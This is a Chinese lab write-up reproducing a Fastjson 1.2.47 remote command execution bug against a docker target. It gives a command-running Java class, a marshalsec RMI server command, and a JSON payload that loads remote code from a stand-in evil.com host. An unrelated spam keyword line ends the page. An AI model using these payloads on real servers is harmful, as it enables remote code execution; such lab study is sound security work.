<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Fastjson 1.2.47 遠程命令執行漏洞

    Path fastjson/1.2.47-rce

    Fastjson是阿里巴巴公司開源的一款json解析器,其性能優越,被廣泛應用于各大廠商的Java項目中。fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字符串繞過白名單檢測,成功執行任意命令。

    參考鏈接:

    漏洞環境

    執行如下命令啟動一個spring web項目,其中使用fastjson作為默認json解析器:

    docker-compose up -d

    環境啟動后,訪問http://your-ip:8090即可看到一個json對象被返回,我們將content-type修改為application/json后可向其POST新的JSON對象,后端會利用fastjson進行解析。

    漏洞復現

    目標環境是openjdk:8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以簡單利用RMI進行命令執行。

    首先編譯并上傳命令執行代碼,如http://evil.com/TouchFile.class

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

    然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,并制定加載遠程類TouchFile.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

    向靶場服務器發送Payload:

    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://evil.com:9999/Exploit",
            "autoCommit":true
        }
    }

    可見,命令touch /tmp/success已成功執行:

    更多利用方法請參考JNDI注入相關知識。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类